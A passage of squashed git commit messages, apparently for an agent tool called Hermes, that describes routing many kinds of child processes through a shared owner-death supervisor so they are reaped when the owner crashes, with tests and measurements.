Three fixes from review:

- A keepalive timeout fails the socket into CLOSING. websockets then waits
  up to close_timeout (10 s) for the peer before the reader ends. A send in
  that window is never written, but it used to block the caller for that
  long and then report DISCONNECTED. GatewayClient.rpc now refuses with
  NOT_SENT whenever the socket isn't OPEN. Live probe with a silent peer: it
  now answers in 0.0 s with NOT_SENT; the previous head took 5.4 s, reported
  DISCONNECTED and logged "Future exception was never retrieved".
- When prompt.submit gets NOT_SENT, the turn is handled like a pre-submit
  notice: the /model --once pick goes back, no history row is written, and
  the result carries admitted=False. "Nothing was sent" is then true for the
  resend too.
- rpc reads the exception of a future the reader failed while the send was
  raising, so asyncio no longer logs it as never retrieved.

The test fakes for GatewayClient sockets now carry `state = State.OPEN`,
which every real websockets connection has.
The pre-submit notice and the never-sent submit return the same unadmitted
result. GatewayAgent._unadmitted now builds it for both: it gives the
/model --once pick back, writes no history row and sets admitted=False.
The notice path had nothing to give back, so behaviour there is unchanged.

New test: a send that raises after the reader has failed its request logs
no 'Future exception was never retrieved'. It fails without the
future.exception() call in rpc's finally. The comment on that line now
says what it is for.
Assert the reader finished before the send raised, so a wrong ordering
fails the test instead of passing it vacuously. Restore the loop's previous
exception handler instead of clearing it.
The parent-death supervisor that only stdio MCP servers could use (tools/mcp_death_supervisor.py
+ the client in tools/mcp_tool.py) becomes layer 4 of hermes_cli/process_identity.py, next to the
spawn ledger and the Windows job object, so every long-lived child family can use the same path
instead of shipping its own reaper. MCP's three call sites now call
process_identity.update_supervised_pgids; the protocol (register/unregister <pgid>, EOF = owner
died, TERM -> 3 s -> KILL, unsafe targets refused, replay on respawn, release when empty) is
unchanged and every existing contract test moves with it.

The supervisor itself is now POSIX sh (hermes_cli/process_supervisor.sh) instead of a second
CPython: it stays resident for the life of any Hermes process with a supervised child, and an
idle sh is 0.5 MB USS against 8.1 MB for the Python supervisor (Linux, py3.14, measured).
Malformed and over-long lines are skipped exactly as before; the only protocol difference is
that a line is no longer length-capped while being read (sh's read has no cap), which only a
writer inside Hermes could exploit.
On Windows the router lives in a KILL_ON_JOB_CLOSE job, so an owner crash takes the router and its
multi-GB model children down with it. On macOS/Linux spawn_server was a plain Popen: SIGKILL or
OOM of the owner left the whole tree resident on launchd/systemd until the next boot's recovery
pass (#126631). The idle sweeper and the crash watchdog both live inside the owner, so nothing
that could unload the model survives it.

spawn_server(owned=True) is the POSIX counterpart of the job: the router leads its own process
group (llama.cpp's router spawns model children with posix_spawn and no setpgid, so they stay in
it) and the group goes to the per-process owner-death supervisor, which killpg()s it the moment
the owner dies, by any cause. stop() releases the group after it has terminated the tree. No
extra process per router: the supervisor is shared with every other owned child of the process.

Same goal as #126657 (liuhao1024, a per-owner psutil poller re-checking (pid, create_time) every
2 s), reached through the shared supervisor instead: measured +6.6 MB USS per owner there, one
shared ~0.5 MB sh here, and the reap is immediate instead of up to one poll late.
PR_SET_PDEATHSIG is not an option: it fires when the spawning THREAD exits, and the router is
spawned from short-lived threads (lr-on-demand-boot, watchdog restarts).
browser_harness detaches its daemon on purpose (start_new_session) so a session persists across
browser_exec calls, and the daemon has no idle exit. A SIGKILLed or OOM-killed Hermes therefore
left every daemon it drove running forever, each holding a CDP connection (#121095). A clean exit
leaked them too: stop_harness_daemons() only ran from cleanup_all_browsers(), which the atexit
handler calls only when an agent-browser session was tracked, and a browser_exec-only process
never tracks one (measured: 4 of 4 daemons leaked after the owners exited normally).

After each browser_exec, the daemon behind its BU_NAME is handed to the per-process owner-death
supervisor. The harness publishes the daemon pid in its runtime dir; it is accepted only while it
is this user's live `python -m browser_harness.daemon` leading its own session, so a stale or
planted pid file can never put a stranger's group in front of the supervisor. stop_harness_daemons()
releases the groups it stopped, and the atexit handler now calls it unconditionally.

Replaces the per-family reaper of #120739 (trevornk, owner-pid claim files + a janitor sweep of
dead-owner daemons, +1150 lines): the owner dying is detected by the shared supervisor at the
moment it happens, not by the next Hermes that happens to start the browser janitor, and the live
control daemon of another Hermes is never in this process's registry at all. The claim-file idea
(trevornk) and the per-owner-dir idea (#129655, mheals / Diaspar4u) are what this keys on: the
daemon's own pid file under the runtime dir the CLI ran with.
Narrow the release-time wait to subprocess.TimeoutExpired and log it, instead of a silent blind
except (health BLE001/S110). subprocess becomes a top-level import. The Browser Use kill -9 test
polls with tests.waiting.wait_until rather than a hand-rolled sleep loop (HX013).
text=True without encoding= decodes with the ANSI code page on Windows (#55658); CI's
test_text_mode_subprocess_calls_pin_utf8 caught it on process_identity.py.
Names the owned-child API in process_identity layer 4:

- spawn_owned(argv, purpose=..., **popen_kwargs): starts the child as a session/group leader,
  hands the group to the owner-death supervisor and records it in the spawn ledger.
- own_process_groups(pgids) / release_process_groups(pgids): for groups something else spawned
  (MCP SDK servers, agent-browser's Chromium, harness daemons) and for children the owner stopped
  itself.

The stringly update_supervised_pgids("register"/"unregister", ...) becomes the private protocol
writer. llama-server's spawn_server(owned=True) now goes through spawn_owned instead of
re-spelling it. Adds a contract test for spawn_owned (group leader, supervisor registration,
ledger entry, release); it goes red when the registration is removed.
Symptom: LSPClient starts every language server in its own session (start_new_session=True) so a
killpg aimed at the server can never reach Hermes. That also took the server's descendants out of
Hermes's kill domain. The server itself exits on stdin EOF when Hermes dies, but a descendant that
neither holds nor watches that pipe (a wrapper's background child, a SIGTERM-ignoring worker)
outlived a SIGKILLed / OOM-killed Hermes forever. The atexit hook and the idle reaper both live
inside the owner, so neither runs on that path.

Change: _spawn hands the server's process group to the per-process owner-death supervisor
(own_process_groups) and records it in the spawn ledger (register_child "lsp-server").
_cleanup_process hands the group back only once nothing in it is left, so a member that survived
teardown stays covered and still dies with Hermes. No new process: the supervisor is shared with
every other owned child. The atexit hook stays: it runs the LSP shutdown/exit handshake on a
clean exit, which the supervisor's TERM/KILL does not replace. Windows path unchanged.

Measured on Linux (Linux), kill -9 of a real owner running LSPClient, survivors of the server
tree after 30 s:
  mock server with a SIGTERM-ignoring child (slow_tree), 3 trials: main 1/2 alive every trial,
  branch 0/2 every trial (gone by +5 s).
  basedpyright, pylsp, typescript-language-server (4 procs), gopls, rust-analyzer: 0 on main and
  branch (they exit on stdin EOF, and their helpers die with them).

Tests (tests/agent/lsp/test_lsp_owned_server.py): owned on spawn + released on shutdown, a
surviving member keeps coverage, a real kill -9-the-owner end to end, and a live-owner control.
Removing the own_process_groups call turns 3 of them red; making the release unconditional turns
the coverage test red.
Symptom: the POSIX death pipe (365e2835d4) only told the KERNEL its host had died. Every subprocess a
cell starts (a dev server, a `sleep`, a training job) shares the kernel's process group and never sees
that pipe, so a SIGKILLed / OOM-killed host left them running on init indefinitely. Measured on Linux
against origin/main 7770e397f3 (ck_probe: host spawns a kernel, the cell Popen()s `sleep 300`, host
gets kill -9, check at +10 s): kernel 0/3 alive, cell child 3/3 alive.

Change: _spawn starts the kernel through process_identity.spawn_owned(purpose="code-kernel"): it leads
its own group (as before, via start_new_session), that group goes to the per-process owner-death
supervisor, which killpg()s it the moment the host dies by any cause, and the kernel is recorded in
the spawn ledger. teardown() releases the group once it is empty (waiting up to 1 s for SIGTERMed
cell children to exit); a cell child that survives the teardown's SIGTERM keeps the group registered
until it exits. The kernel-only death pipe (runner watchdog thread, pipe plumbing,
HERMES_KERNEL_PARENT_DEATH_FD) is deleted: the supervisor kills the kernel too. Windows keeps its
SYNCHRONIZE-handle watchdog unchanged; atexit graceful shutdown, the idle reaper and the
stale-staging-dir sweep stay (they cover a live host and disk, not owner death).

Result: same probe, 3/3 runs: kernel 0 alive, cell child 0 alive. tools/code_kernel.py +25/-57.
New tests/tools/test_code_kernel_owned_group.py (kill -9 owner vs live control owner, graceful
release, surviving-child coverage): 3/3 green x10 runs, all 3 red on the pre-change spawn, each red
on its own mutation (no registration / no release / unconditional release). Family files on main
75 passed; on this branch 78 passed (75 + 3 new).
Symptom: when a TUI/Desktop gateway was SIGKILLed or OOM-killed while a slash worker ran a quick
command (`type: exec`, shell=True, up to 30 s), the command's shell and its children outlived
everything. The worker's own ppid watchdog (slash_worker._start_parent_death_watchdog, firefly
8b6a8f667d) only ends the worker: it polls for 2 s, waits up to 5 s for the in-flight command, then
os._exit()s, leaving the worker's group members to init. A normal close had the same hole:
_SlashWorker.close() signalled the worker pid alone, so closing a session mid-command left the
shell running too.

Change:
- _SlashWorker spawns the worker through process_identity.spawn_owned(purpose="slash-worker"): the
  worker still leads its own session (the reason it had start_new_session=True: mcp_tool's orphan
  sweep must never killpg the gateway's group), and the group now goes to the gateway's owner-death
  supervisor, so it dies the moment the gateway dies by any cause.
- close() TERMs, waits 1 s, then KILLs the worker's whole group, and releases it from the supervisor
  once the group is empty. A group is only signalled while its leader was alive on entry, so a dead
  worker's recycled pgid is never signalled; a group with survivors stays covered.
- The worker's ppid watchdog, its env knobs (HERMES_SLASH_WATCHDOG_POLL_S/_GRACE_S), --parent-pid
  plumbing and the in-flight event go: the supervisor reaps the worker AND its group, at the moment
  of death instead of 2-7 s later, with no thread per worker. --parent-pid is still accepted
  (suppressed) so a gateway started before an update can spawn the updated worker.
- Windows keeps its existing path (terminate/kill on the Popen; the layer-3 job object covers
  ownership).

Measured on Linux, real _SlashWorker + real worker, owner kill -9, survivors at t+30 s:
  idle worker:            main 0, branch 0
  worker running a quick: main 1 (`sleep 300`, alive at +30 s), branch 0 (gone by +2 s; the worker
                          itself took 5-10 s on main)
  close() mid-command:    main 1 survivor, branch 0

Tests: test_slash_worker_owned.py (live kill -9 of a real owner, with a live-owner control whose
worker must survive; close() stops a TERM-ignoring group then releases it; a dead worker's group is
never signalled; legacy --parent-pid accepted). Reverting spawn_owned to Popen fails the kill -9
test; reverting close() to signal the leader only fails the close test. The watchdog's unit tests
(test_slash_worker_watchdog.py) go with the watchdog; the cli-before-MCP-discovery ordering test
moves to the new file.
Symptom: LocalEnvironment._run_bash starts every terminal command in its own session
(start_new_session=True, so the TERM->KILL group teardown reaches its children). Nothing reaps that
group when the Hermes process dies without running its cleanup (SIGKILL, OOM killer, crash): the
command and everything it started reparent to init and keep running. Measured on Linux (tbg_probe:
an owner runs `sleep 305` in env.execute() on a thread, owner gets kill -9, check at +10 s): bash and
sleep 2/2 alive, 2/2 runs.

Change: _run_bash hands the command's group to the owner-death supervisor
(process_identity.own_process_groups; pipe EOF -> TERM, 3 s, KILL). LocalEnvironment._wait_for_process
releases it once the wait returns, by any path (exit, timeout, interrupt), so what a command
deliberately leaves in the background after it returns (`server &`) keeps its current behaviour, the
same as a graceful exit. Not spawn_owned: an awaited command needs no spawn-ledger entry. Windows is
unchanged (the layer-3 job object). The existing TERM->KILL teardown, the setsid-escapee sweep and the
start-time PID-reuse guards stay: they cover a live owner.

Result: same probe, 3/3 runs: 0/2 alive. Per-command cost with the supervisor resident: own+release is
0.02 ms (3.4 ms when it has to start the supervisor); env.execute("true") 20.8-24.2 ms on the base vs
22.4-23.4 ms here, inside load noise. New tests/tools/test_terminal_owned_jobs.py (kill -9 owner vs live
control owner; a returned command releases its group): green x3, both red on the pre-change code and red
on their own mutation (no own / no release). test_local_env_cwd_recovery fakes subprocess.Popen, so its
class now stubs the supervisor calls.
Symptom: ProcessRegistry.spawn_local starts every terminal(background=true) job in its own session, and
the agent-lifecycle sweeps that stop jobs (kill_all on release, agent_close, a turn timeout) only run
while the owner is alive. A CLI, TUI or worker that is SIGKILLed / OOM-killed / crashes left every job
running on init. Measured on Linux (tbg_probe, kill -9 the owner, check at +10 s, 2/2 runs): pipe job
1/1 alive, pipe job with a child 2/2 alive. A PTY job's hangup stops only jobs that keep the default
SIGHUP action: a HUP-ignoring PTY job (`nohup`'d server, trap '' HUP) and its child 2/2 alive.

Change (tools/process_registry_ownership.py, a new ProcessRegistry mixin; process_registry.py is at its
size cap and shrinks by 10 lines): a local background job's process group goes to the owner-death
supervisor (process_identity layer 4) for as long as the job's own process runs: pipe jobs start through spawn_owned
(purpose="terminal-background", recorded in the spawn ledger), PTY jobs hand their pty.fork group to
own_process_groups. The group is released when the job leaves _running (exit, kill, reconcile) and by
_reap_untracked after a failed setup, so a job's deliberate `server &` survivors keep today's
behaviour once the job ends. A foreground command that yields to background (adopt_local) hands its
supervised group to the job instead of releasing it.

Deliberately NOT owned (they must outlive the owner):
- persist_on_release jobs (#41225, ec5c9c738a): the user asked for them to outlive the agent.
- every job of a gateway (a host that ran recover_from_checkpoint, or a supervised gateway): it
  re-adopts the jobs a crashed predecessor left running, so its own jobs must survive its crash the
  same way. Its clean shutdown still kills them (kill_all(source="gateway_shutdown")).
- Windows: the layer-3 job object covers ownership; the spawn path there is unchanged.
The systemd-scope, TERM->KILL tree kill, start-time PID-reuse guards and post-kill survivor checks stay:
they cover a live owner.

Result: same probe, 3/3 runs: pipe 0/1, pipe+child 0/2, HUP-ignoring PTY job + child 0/2 alive; the
persist_on_release job 1/1 alive (as intended). tests/tools/test_terminal_owned_jobs.py now also covers
jobs: kill -9 owner vs live control owner (jobs + PTY job + command die, persist_on_release job lives,
control untouched), a recovering host's jobs outlive its kill -9, finished job releases, yielded
command keeps its group until the job ends, unowned jobs never reach the supervisor. 5/5 green x3, 5/5
red on the pre-change code, each red on its own mutation (8 mutations). Two existing tests build
sessions by hand or fake Popen + os.killpg; they now carry the new field / stub the supervisor.
_reap_untracked moves into the mixin unchanged apart from the release.
The bridge is spawned detached (start_new_session, via windows_detach_popen_kwargs) so a container
stop reaches it directly (#127047). Detached also meant a SIGKILLed or OOM-killed gateway left it
running forever: still holding the port and the logged-in WhatsApp session, serving a /messages
queue nobody polls. The next gateway's connect() only recovers it if the bridge reports the same
session, script hash and read-receipt config; otherwise it kills it through the pidfile or port path,
or with a foreign profile on that port refuses to start.

The bridge now starts through process_identity.spawn_owned (_spawn_bridge_process): it still
leads its own session, and its group goes to the per-process owner-death supervisor, so it dies the
moment the gateway dies, however it dies. disconnect() releases the group once the bridge has exited.
A bridge it failed to stop stays covered. Windows keeps its detach flags (windows_detach_flags)
and its taskkill tree kill unchanged. The pidfile / port reaping for bridges left by older versions
stays: it covers bridges this process never owned.

Measured on Linux, real node bridge stand-in, owner SIGKILLed, 6 s settle:
origin/main 1 of 1 bridge survived; this commit 0 of 2 descendants (bridge + supervisor).
tests/hermes_cli/test_owned_agent_subprocs.py: a real kill -9 owner and a live control owner
through _spawn_bridge_process (child + same-group grandchild gone in 15 s, the live owner's tree
untouched), plus disconnect() releasing the group. Reverting spawn_owned to the main-era Popen turns
the kill -9 case red. Existing connect / stale-bridge tests now patch the adapter's spawn_owned
seam instead of the global subprocess.Popen, which also starts the supervisor.
`raft agent bridge` was a plain Popen child of the gateway. A SIGKILLed or OOM-killed gateway
reparented it to init, where it kept polling Raft and posting wakes to a channel endpoint nobody
serves, forever. The next gateway starts a second bridge beside it.

_spawn_bridge now starts it through process_identity.spawn_owned (its own group, handed to the
owner-death supervisor, recorded in the spawn ledger as "raft-bridge"), and _stop_bridge releases
the group once the bridge has exited (a bridge it failed to stop stays covered).

Measured on Linux, real adapter _spawn_bridge with a stand-in `raft` CLI, owner SIGKILLed,
6 s settle: origin/main 1 of 1 survived; this commit 0 of 2 descendants (bridge + supervisor).
New kill -9 / live-owner case and a _stop_bridge release test; reverting spawn_owned to the
main-era Popen turns the kill -9 case red. test_raft_adapter's multiplex test now patches the
adapter's spawn_owned seam.
`hermes verify`'s start phase launches the project's dev server (recipe.start, a shell string) in
its own session and polls readiness for up to 60 s. Killing the Hermes process mid-poll (SIGKILL,
OOM, a closed terminal) skipped the finally that killpg()s it, and the detached group (shell + server
+ its workers) kept running on the port forever.

_run_start_phase now starts it through process_identity.spawn_owned: still a group leader for the
existing group teardown, and the group goes to the owner-death supervisor. It is released once the
teardown has stopped it (a group that survived the teardown stays covered).

Measured on Linux, owner killed mid-readiness-poll, 6 s settle: origin/main 3 of 3 (sh +
two workers) survived; this commit 0 of 4 descendants. New kill -9 / live-owner case and an
own-then-release test; reverting spawn_owned to the main-era Popen turns the kill -9 case red.
Command providers run in their own session so the IDLE timeout (default 120 s, reset by every byte
of output) can kill the whole tree. That timer lives in the Hermes process: a SIGKILLed or
OOM-killed gateway left a stalled or long-running provider (a shell plus its synthesiser) running
forever, detached and reparented to init.

run_command_provider now starts the command through process_identity.spawn_owned (POSIX: group
leader, group handed to the owner-death supervisor, so provider_popen_group_kwargs no longer adds
start_new_session) and releases the group once the command has exited or the idle kill stopped it.
Windows keeps its CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW flags and taskkill tree kill.

Measured on Linux, owner killed inside the idle timeout, 6 s settle: origin/main 3 of 3
survived; this commit 0 of 4 descendants. New kill -9 / live-owner case and an own-then-release
test (success and idle kill); reverting spawn_owned to the main-era Popen turns the kill -9 case
red. Existing spawn-kwargs tests now patch the module's spawn_owned seam.
The detached-spawn check (scripts/check_detached_spawns.py, from the owned-child API) flags every
start_new_session outside spawn_owned. Five sites in this family are deliberately not owned. Each
now carries a `detached-spawn: ok — <why>` marker, so the check passes without a baseline entry:

- iron-proxy daemon: meant to outlive the CLI that started it; `hermes egress stop` ends it
  through the pidfile + nonce.
- google_meet bot: reached through files across turns and stopped by meet_leave (pid in
  .active.json).
- photon sidecar: exits on stdin EOF (PHOTON_SIDECAR_WATCH_STDIN). kill -9 probe with that exact
  watch block: 0 of 1 survived; the same probe with the watch off: 1 of 1 survived.
- ddgs search worker: awaited under a 30 s cap that kills its group. Blocked reading its request
  on a stdin pipe, it exits when the owner dies (kill -9 probe: 0 of 1 survived).
- secret_sources command helper: awaited under a hard timeout (default 3 s) that kills its group.

Comments only; no behaviour change.
A session in a non-standard permission mode (unrestricted = YOLO, or bounded) gets a private
`cua-driver serve --embedded` daemon. On Linux/Windows it was a plain Popen child. Only
_EmbeddedCuaDaemon.stop() (session release / the computer_use atexit handler) ended it, and cua-driver
does not exit when its parent dies. A SIGKILLed or OOM-killed Hermes therefore left an approval-bypassing
daemon listening on its socket with nothing left to stop it.

On POSIX non-macOS the daemon is now started with process_identity.spawn_owned and released in
stop(). macOS is unchanged: there the launch goes through `/usr/bin/open` to LaunchServices, so the
daemon is launchd's child and never in our tree. Windows keeps the plain Popen (spawn_owned is a plain
Popen there; the layer-3 job object covers it). The cua-driver MCP proxy needs nothing: it is an stdio
child of the MCP SDK (already start_new_session) and exits on stdin EOF, measured 0/3 alive 0.1 s after
the owner's SIGKILL on base.

Measured on Linux (real cua-driver 0.21.0 serve --embedded, kill -9 of a real owner process):
  base:   1/1 cua-driver serve alive 8 s after SIGKILL
  branch: 0/1 alive after 0.0 s; with the owner still alive, 1/1 untouched after 6 s
Tests: the kill -9 + live-owner-control case (red when spawn_owned is reverted); the socket/ack contract
test now also pins the register at start / unregister at stop. Three existing tests that hand the
daemon a fake Popen stub the supervisor so a fake pid never reaches it.
The detached-spawn check flags every start_new_session outside spawn_owned. Three in this family are
deliberate, and each line now says why:

- tools/bot_desktop/runtime.py (Bot Desktop launcher: Xvnc + Xfce per profile). The screen outlives
  whichever CLI or gateway started it. `hermes computer-use screen start` exits right after start(),
  launcher.pid records (pid, create_time) so any later process reports or stops it, and the gateway's
  display watcher idle-stops it (b41c8ddfc4, 71971e9205). Owning it would kill every CLI-started screen
  the moment the CLI exits.
- hermes_cli/browser_connect.py (/browser connect launching the user's debug Chrome). It is the user's
  browser: the connection persists in BROWSER_CDP_URL and a later session re-attaches to it, and Hermes
  never stops it (d1ee4915f3 made the detach explicit on both platforms).
- tools/bot_desktop/install.py (apt/dnf under sudo). Short-lived and awaited. The group exists only so
  the timeout kill reaches the package manager.

Comments only; no behaviour change.
The dashboard's WhatsApp onboarding starts `node bridge.js --pair-only` detached
(start_new_session) and stops it on cancel, expiry or supersession. A SIGKILLed or
OOM-killed dashboard skipped all of that, so the pairing bridge kept running and kept
the session directory busy until it timed out on its own.

It now starts through process_identity.spawn_owned (purpose "whatsapp-pairing"): it
still leads its own group, and that group dies with the dashboard however the
dashboard dies. _terminate_whatsapp_pairing and the watcher release the group once the
process has exited; one it failed to stop stays covered.

tests/hermes_cli/test_owned_agent_subprocs.py: a real kill -9 owner and a live control
owner through _spawn_whatsapp_pairing_process (child + same-group grandchild gone, the
live owner's tree untouched), plus terminate releasing the group. Reverting spawn_owned
to Popen turns the kill -9 case red.
A child started in its own session or group (start_new_session, os.setsid /
setpgid / setpgrp, windows_detach_popen_kwargs) does not die with a SIGKILLed
Hermes: it reparents to init and runs forever. That is how every family this PR
migrates leaked. With the families on spawn_owned, this keeps the class closed.

scripts/check_detached_spawns.py (AST) flags those shapes in the production trees
unless the line, or the line above it, says `detached-spawn: ok — <why>`. It runs
in scripts/check ("detached-spawns") and as a blocking lint.yml step. The baseline
is empty: every remaining site is on spawn_owned / own_process_groups, or carries
its reason. The reasons this commit adds are the census verdicts:
- must outlive the starter on purpose: restart watchers, /update and the updater
  hand-offs, dashboard/desktop/service launches, cron and kanban workers
  (restart-safe), the update-custody watchdog itself;
- awaited with a group kill on timeout: cron scripts, rg search, the Browser Use
  CLI, update completion (holds the checkout lock fd);
- covered by its own parent guard: the compute host (compute_host._parent_guard_loop
  flushes sessions; a supervisor KILL could cut that short);
- not a spawn: the wake-word `start_new_session` config key and event field.

tests/scripts/test_check_detached_spawns.py: each shape flagged, non-detached and
commented/string shapes not, the marker opts out on its line or the line above
and nowhere else, tests and the helper are out of scope, main() fails on a new
unmarked spawn, and the repository scan is empty. Teeth: appending an unmarked
start_new_session Popen to tools/file_operations_search.py turns
`scripts/check --only detached-spawns` red (rc 1); restoring it turns it green.
LSP, the code kernel and the slash worker each had their own "release the group once nothing in
it is left" (a killpg(pgid, 0) probe; the kernel's version also waited for reaps). They are now
one helper, process_identity.release_process_group_once_empty(pgid, proc=, timeout=). It polls
the leader so a zombie leader does not keep the group alive, waits up to `timeout` for killed
members to be reaped by init, and keeps covering a group that still has a member. LSP's async
close path probes once (timeout=0), as before.

The slash worker used to probe exactly once right after SIGKILL. On a loaded macOS host (load
25+) init had not reaped the killed members yet, so a group that was about to be empty stayed
registered (test_close_stops_the_whole_group_then_releases_it, flaky). It now waits up to 1 s,
like the kernel did.

The kernel survivor test raced too: under load the cell child's `trap '' TERM` could land after
the teardown's SIGTERM, and the 5 s escalation could SIGKILL it. The child now signals once its
trap is installed, and the test turns escalation off (the escalation is not what it pins).

New tests/hermes_cli/test_process_identity_release_once_empty.py: an unreaped empty group is
released, a live member keeps it covered, a late exit is waited for, and Windows never releases.
Teeth: forcing the helper to always release, or to never release, turns 5 tests red in the 4
touched files. macOS: the 9 owned-child files, 78 tests, 3 runs in a row, 0 flaky.
Rebasing onto main brought three new detached spawns the ratchet flags:
- gateway exec quick commands: awaited, and the timeout/cancel path kills the group (_stop_exec_tree);
- managed session workers: covered, the worker kills its own group when its owner dies (_die_with_owner);
- runtime gateway start: a gateway daemon launch that must outlive its launcher.
The supervisor starts lazily, on the first owned spawn of any family (slash worker, terminal job,
...). When that lands between an MCP stdio connect's before/after child snapshots, the delta holds
the supervisor and _filter_mcp_children kept it: MCP tracked it as its own server, and teardown or
the orphan sweep would group-kill it, leaving every other owned child unreaped if Hermes then died.

_filter_mcp_children now drops this process's supervisor, matched by its live pid and its script
argv (process_identity.is_owner_death_supervisor). New test drives the race with a real owned spawn
and a real supervisor; it fails with the check removed (supervisor pid in the adopted set).

Reported by Greptile on #137057.
The watcher's restart backoff: llama-server crashed, its model children still run in its group.
stop() skipped _terminate_tree (the leader was dead) and then unregistered the group anyway, so the
model children were neither stopped nor covered by the owner-death supervisor: they kept their VRAM
after Hermes exited.

stop() now ends with process_identity.stop_owned_group_survivors: for a group this process still
owns it TERMs what is left, waits, KILLs, and releases the group only once it is empty. A group it
fails to empty stays registered. New test crashes a stand-in router with a live model child and
calls stop(); it fails without the fix (the child survives, timed out after 10 s).

The router-tree test's sleep loop now uses tests.waiting.wait_until.

Reported by Greptile on #137057.
Same class as the router fix: nine stop paths released their group from the owner-death supervisor
as soon as the leader exited, but members that ignore TERM or outlive the leader keep the group
alive. Releasing it let those members survive a later kill -9 of this process.

Lightpanda, real-profile Chrome, embedded cua-driver, the TTS command provider, dashboard WhatsApp
pairing, the raft and WhatsApp bridges, verify's app server, agent-browser session groups, and
Browser Use harness daemons stopped by --reload now go through release_process_group_once_empty.

New test stops a raft bridge whose TERM-ignoring helper survives. It fails when raft releases
unconditionally, and the group stays covered with the fix. Test seams moved from the per-module
release_process_groups name to the shared helper.

Reported by Greptile on #137057 (thread on the router).
Two same-user Hermes processes can reach one daemon. Both read bu-default.pid on the default
Browser Use name, and every Hermes shares the real-profile attach session. The identity checks (uid,
module, session leader, socket-dir binding) prove what the daemon is, not who started it, so both
Hermes registered its group. Killing either one then killed the browser the other was still using.
The real-profile attach's before/after pid-file diff had the same hole: two concurrent attaches
both see the file change.

Each agent-browser and browser-harness command now carries this process's spawn tag (spawn_env:
pid plus create time). The daemon it forks inherits the tag, and _own_local_daemon /
_own_harness_daemon register a daemon only when its tag names this process
(process_identity.spawned_by_this_process; an unreadable environment fails closed). The pid-file
diff is gone. Probed on macOS against agent-browser 0.26.0: the forked daemon carries the tag.

New tests start a verified daemon tagged with another live process. Each fails with its check
removed (the daemon gets registered) and passes with it.

Reported by Greptile on #137057 (two threads).
A desktop-owned hermes serve started before this update keeps running its old code. That code starts
the updated slash worker with a plain Popen and --parent-pid and never registers it with an
owner-death supervisor. With --parent-pid ignored, nothing stopped that worker when such a gateway
died mid-command (stdin EOF is only read between commands).

The worker keeps a narrow form of the old watchdog, started only when --parent-pid is passed. It
compares the live ppid with the pid passed at spawn (POSIX) and gives an in-flight command a 5 s
grace. Current gateways no longer pass the flag, so the watchdog never starts under them.

New test: a stand-in old gateway launches the real worker with --parent-pid, keeps the worker's
stdin open (a busy worker), and is SIGKILLed. The worker exits. With the watchdog call removed the
test times out, and the main() ordering test fails.

Reported by Greptile on #137057.
The browser-daemon and supervisor tests had their own deadline/sleep polling loops; they now use the
shared wait_until helper, as tests/AGENTS.md requires (the router test moved with its fix). The only
sleeps left are inside child-process scripts and blocking holders.

test_windows_never_releases faked Windows by patching os.name on a POSIX interpreter inside a
POSIX-marked file. The file-wide mark is now one mark per test, and the Windows case is
platforms("windows") with no host fake, so it runs on the Windows lane against the real branch.

Reported by Greptile on #137057 (two threads).
server.py is the RPC facade; this PR had added a second child-lifetime algorithm to it
(_stop_worker_group). _SlashWorker, its PATH helper and its group-stop now live in the sibling
tui_gateway/slash_worker_client.py, registered through method_ctx.bind_module like every other split
module. Their bodies still read server.py's globals, so every existing test seam (server._SlashWorker,
server.spawn_owned, server.os, server._stop_worker_group) keeps working unchanged. server.py drops
from 2,185 lines on main to 2,049. No behaviour change.

Reported by Greptile on #137057.
- spawned_by_this_process and the legacy lightpanda sweep catch what psutil and the filesystem can
  raise, not a blind Exception. A record with a non-numeric pid is dropped like a corrupt one.
- The POSIX-only SIGKILL in stop_owned_group_survivors and in the moved slash-worker stop carries
  the windows-footgun marker (Windows returns before both).
- The legacy parent watchdog thread only reads getppid() and calls os._exit, so it needs no
  profile-scoped context (HX012 waived with that reason).
Self-review of 091ca7d044. _supervisor is assigned only after _spawn_supervisor() returns, so an MCP
child scan that runs between the fork and that assignment still adopted the supervisor. That gap is
the same race the first fix closed. is_owner_death_supervisor now matches the child's argv
(sh <this install's process_supervisor.sh> ...), which is set from the moment it is exec'd. New test
starts a supervisor that is not yet published. It fails on the previous head and passes here.

stop() on the llama supervisor drops a platform check that stop_owned_group_survivors already makes.
A test main gained since the last rebase (#137057 CI, macOS lane) failed on this branch:
test_worker_spawned_process_output_and_exit_survive_the_spawner. A managed worker is a per-turn
interpreter. Since 5a1916cc5c (Teknium, 2026-10-08) its background jobs write a profile-scoped log,
and the next turn's worker adopts them from the checkpoint. This branch owned every
non-gateway job, so the owner-death supervisor killed the job the moment the worker exited
(exit_code -1, completion_reason lost).

_owns_job now leaves a registered worker's jobs unowned, as it already does for a gateway's: the
process that adopts them is the owner. New guard: a worker's job is never handed to the supervisor.
Both it and the main test fail without the check.
1fb4eebcf0 routes the embedded cua-driver's stop through release_process_group_once_empty. This
Linux-only test drives stop() with a Mock process, so the helper's killpg(pid, 0) probe got a Mock
pid (TypeError on the Linux CI shard). The test now records the release through the helper's seam.
With the release call removed from stop() the test still fails (verified on Linux).
The atexit handler called stop_harness_daemons(), which sends --reload to every daemon this process
drove. browser_exec records a daemon it merely reused too, so a clean exit restarted the shared
daemon another live Hermes started on the same name, the case _own_harness_daemon already refuses
to own. The exit path now stops only the daemons in _owned_daemon_groups (stop_owned_harness_daemons).
cleanup_all_browsers keeps main's stop-everything-driven behaviour for a backend swap.

Test: the atexit handler with one owned and one foreign driven daemon reloads only the owned one; it
fails when the handler calls stop_harness_daemons() again.
_own_local_daemon (after every local agent-browser command) and _own_harness_daemon (after every
browser_exec) ran the full identity chain (getpgid, psutil cmdline/uids, the spawn-tag environ read)
before looking at what they already owned, so the docstring's "already-registered groups cost one
set lookup" was false. Both now check the owned pid first: a known daemon skips the identity and tag
checks; agent-browser still rescans the daemon's children so a relaunched Chromium is picked up.

Also:
- A session whose daemon exited (pid file gone, idle timeout) drops its entry, so a long-lived
  gateway with per-task session names no longer keeps one entry per session forever.
- A harness daemon that replaced an owned one releases the old group (once empty) instead of
  leaving the stale number registered until a later prune.
- The harness pid-file path moves to browser_harness_dirs.harness_pid_file, sharing _harness_home
  with namespace_harness_dirs; the copy in browser_use_cli had drifted (Path.home() of this
  process where the harness resolves the child env's HOME).

Tests: an owned daemon is not re-verified (both families), an exited agent-browser daemon is
forgotten, a replacement harness daemon releases the old group; both new tests fail on the prior head.
With nothing else owned, every foreground terminal command registers its group and releases it,
so the supervisor starts and is released per command. The release closed the pipe and then
Popen.wait(timeout=5)ed the supervisor under _supervisor_lock; that wait polls with sleeps and cost
